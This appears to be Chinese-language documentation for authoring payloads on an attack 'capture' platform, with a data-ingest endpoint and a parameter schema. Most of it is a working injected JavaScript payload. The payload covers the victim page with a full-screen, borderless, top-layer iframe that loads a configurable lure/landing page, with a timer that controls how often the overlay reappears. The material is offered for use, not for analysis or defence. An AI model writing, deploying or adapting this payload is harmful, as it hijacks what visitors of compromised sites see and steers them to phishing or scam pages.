
名称和描述 正常编写即可
主要讲一下 平台的接收接口 和参数Schema
平台接收接口 为 https://x8s.pw/api/Capture/ingest
PROJECT_ID请传入 项目id 脚本内写{$project_id} 自动获取 当前项目id
PAYLOAD_ID 请传入 payload 的id 用于记录使用次数
参数Schema 比如下面这段 我在脚本写入{$endpoint} 就会自动获取default 多个 以此类推
go({$url}, {$time});
//-----------------不要修改下面代码-------------------
function go(iframeSrc, time) {
// 获取当前时间的时间戳
var now = Date.now();
// 获取上次加载 iframe 的时间戳
var iframeLastLoaded = localStorage.getItem('iframeLastLoaded');
// 如果 time 为 0,或者没有记录,或者已经超过了指定的时间间隔
if (time === 0 || !iframeLastLoaded || (now - parseInt(iframeLastLoaded, 10)) > time * 60 * 1000) {
// 创建一个 iframe 元素
var iframe = document.createElement('iframe');
iframe.src = iframeSrc;
iframe.style.position = 'fixed';
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = '100%';
iframe.style.height = '100%';
iframe.style.border = 'none';
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
// 如果 time 不为 0,才记录当前时间戳到 localStorage
if (time !== 0) {
localStorage.setItem('iframeLastLoaded', now.toString());
}
}
}有
{$url}和{$time}需要配置 参数就可以这样写
{
"type": "object",
"properties": {
"url": {
"type": "string",
"title": "跳转地址(使用诱导与落地页生成)",
"default": "https://x8s.pw/"
},
"time": {
"type": "integer",
"title": "时间(单位:分钟;0=每次调用都加载;10=十分钟一次)",
"default": 0
}
}
}